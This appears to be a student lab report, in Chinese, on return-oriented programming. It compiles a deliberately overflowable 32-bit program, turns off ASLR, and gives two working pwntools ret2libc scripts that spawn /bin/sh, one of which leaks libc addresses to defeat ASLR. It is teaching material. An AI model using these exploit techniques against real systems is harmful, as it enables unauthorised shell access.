ROP 技术

实验目的

了解 ROP 技术的原理和应用,学会利用 ROP 技术绕过安全保护。

步骤

canary+ASLR off,NX on 下 getshell

准备工作

执行以下 shell 命令

echo 0 > /proc/sys/kernel/randomize_va_space

gcc 编译时加入 -z noexecstack 参数

gcc -znoexecstack -fno-stack-protector rop1.c -o rop1 -m32

使用 checksec 命令检查

checksec --file ./rop1

其中 rop1.c 的源码如下

rop1.c
1
2
3
4
5
6
7
8
9
#include <stdio.h>
void vuln(){
char buf[128];
read(0,buf,256);
}
int main(){
vuln();
write(1,"hello vuln\n",10);
}

vuln 函数中,有一个 128 字节长的 char 数组作为 “缓冲区”,然后调用 read() 读入了 256 字节,此时很容易造成程序溢出。我们要利用这个漏洞向 “缓冲区”buf 写入 shellcode,劫持程序流,把返回地址改为恶意代码地址 (bin/sh)

下面进入 gdb 调试过程:

本次使用目标文件为 rop2—— 但源码仍然为 rop1.c

  1. Buffer 的有效地址为 ebp-0x88,ebp 距离返回地址又有 0x4 的距离,所以在覆盖返回地址前,先要填充 0x88+0x4=0x8c 段距离。由于 NX 开启,栈上代码不可执行,所以我们需要使用系统调用 system("bin/sh")

  2. 首先确定 system 的地址。 由于 ASLR 还是关闭状态,所以 system 地址固定,可以通过 system 地址来调用 system 函数,/bin/sh 字符串可以在程序所使用的 libc.so 链接库中寻找,也是固定的。

  3. 接下来,寻找字符串 bin/sh 的地址。由于 gdb 的调试环境会影响 buf 变量在内存中的地址,故需要在 python 脚本中开启调试,使用 gdb.attach() 即可,然后运行 python 脚本。会开启一个新的 shell 窗口,在其中执行 vmmap 查看其引用的 libc.so 地址

    p = process("./rop2")
    gdb.attach(p,'b vuln')
  4. 下图表明该程序引用了 2.23 版本的 libc 库,地址范围为 0xf7e06000~0xf7fb9000,接着在其中寻找 bin/sh 字符串

    这里有个小坑点,gdb-peda 输出结果有微小不同,从而导致找不到 bin/sh 字符串,不知道是什么问题导致的

  5. 刚才的程序继续后其实也是一个 /bin 程序,只不过其中没有什么命令。但是从没有 Hello rop 输出来看,程序控制流已经被改变了。

  6. 最终 payload 代码如下。先填充足够的字符 a 占满缓冲区,再填入 system 函数的地址,由于 getshell 后没有其他事情可做,返回地址随便填,然后跟入 /bin/sh 的地址作为参数

    payload1.py
    from pwn import *
    p = process('./rop2')
    # gdb.attach(p,'b vuln')
    sys_addr=0xf7e40da0 binsh_addr=0xf7f61a0b payload = 'a'*0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)
    p.sendline(payload)
    p.interactive()

canary off,NX+ASLR on 下 getshell

准备工作

执行以下 shell 命令

1
echo 2 > /proc/sys/kernel/randomize_va_space

从目录 /lib/i386-linux-gnu/libc-2.23.so 中拷贝出系统的 so 文件,复制到文件夹下。

由于地址随机化,不可以直接获取 system 的地址,但是 libc.so 中各函数的相对位置不变,可以利用泄露出的某函数地址与 system 函数之间取偏移值,计算 system 函数的地址和 /bin/sh 字符串的地址,就可以使用 ret2libc 方法 getshell。

  1. 在脚本中,使用 gdb.attach 并打指令 b vuln,在 vuln 函数下断点。 利用 disass vuln 查看 vuln 函数汇编,得到 vuln 函数首地址为 0x804843b

    另外一种算法是:在 backtrace 可以看到 0x804845a 是 vuln+31 的位置 (如图),计算得知

  2. 继续运行程序,在寄存器中可以看到 got 表泄露的 write 绝对地址 0xf7644b70 与其在程序中的地址 0x804a014write 函数所在 got 表中的相对偏移量为 + 20,说明 got 表的基地址为 0x804a000。立刻执行 print system,看到此时 libc_system 的地址是 0xf75a9da0

  3. 执行 plt 命令,看到 write 函数的 plt 地址为 0x8048320

  4. 使用 vmmapfind 命令寻找 /bin/sh 的地址。

  5. 计算字符串 /bin/sh 相对偏移量为 ROP 所需要的东西都齐备了。

  6. 但是在实际 getshell 的过程中,我们需要以脚本的方式来自动化完成泄露地址 -> 寻找相对差值 -> 写 shellcode 的过程,所以需要 pwn 库的一些额外功能。由于只有在程序运行时,才会加载系统库,所以需要预先发送一个 payload,此 payload 用于泄露地址,计算出 /bin/sh 的相对位移后,第二步的 payload 才会 “击中要害”。

  7. Pwn 的 ELF 模块用于获取 ELF 文件的信息,用法是 elf=ELF('sofile_name'),我们要在这里拿 write 函数的 got 表和 plt 表地址,可以直接用 elf.got["write"]elf.plt["write"] 获得,至于寻找 /bin/sh 字符串,可以用 next(elf.search('/bin/sh')) 获得。

  8. 最终 payload 代码如下

    payload2.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from pwn import *
    p =process('./rop2')
    libc = ELF('./libc.so')
    # gdb.attach(p,'b vuln')
    write_got = 0x804a014 write_plt = 0x8048320 vuln_addr = 0x804843b
    log.info('leaking addr from write got&plt')
    rop1 = p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)
    payload1='a'*0x8c + rop1 p.sendline(payload1)
    write_addr = u32(p.recv(4))
    sys_addr = write_addr - (libc.symbols['write']-libc.symbols['system'])
    binsh_addr = write_addr - (libc.symbols['write']-next(libc.search('/bin/sh')))

    log.info('write_addr:%#x'%write_addr)
    log.info('write in libc.symbols:%#x'%libc.symbols['write'])
    log.info('system in libc.symbols:%#x'%libc.symbols['system'])
    log.info('/bin/sh absolute addr:%#x'%next(libc.search('/bin/sh')))
    log.info('system_addr:%#x'%sys_addr)
    log.info('binsh_addr:%#x'%binsh_addr)
    log.info('sending final payload')
    rop2 = p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)
    payload2='a'*0x8c+rop2
    p.sendline(payload2)

    p.interactive()

    其中第一步先向 vuln_addr 写入 write 函数的地址,以获得泄露的 write 函数绝对地址。然后,根据系统库的相对偏移计算出 /bin/sh 的地址,最终的 payload 是填充 0x8c个字符"a"+sys_addr+sys_addr的返回地址(随意指定一个不存在的值)+binsh_addr。观察上述脚本,我还发现,/bin/sh 的地址其实可以直接用 write/bin/sh 的相对差值来算,不需要再单独算出 sys_addr

实验难点及收获

本次实验的难点和最大的收获都在于 payload 的构造方法。这次通过两个实验,了解到了利用 ROP 技术绕过 NX 和 ASLR 保护的方法,了解到 shellcode system("/bin/sh") 在此时的一般构造格式为溢出填充字符+p32(sys_addr)+p32(system的返回地址,一般指定一个不存在的地址)+p32(binsh_addr)sys_addr 可以在 ASLR 关闭的情况下直接 gdb 调试观察,或者在 ASLR 开启时通过泄露 libc 某函数的地址,算出相对差值以获得。

本次实验所使用的程序都是 32 位程序,实际上还有很多 64 位程序会用到相似的思路,不过 64 位程序需要借助 gadget,这是以后要进一步学习的内容了。

实验思考

问题:为什么明明 pwndbg 和 gdb-peda 对于 vmmap 中 libc-2.23.so 的起始终止地址输出均相同,但是在 gdb-peda 中找不到 /bin/sh 呢?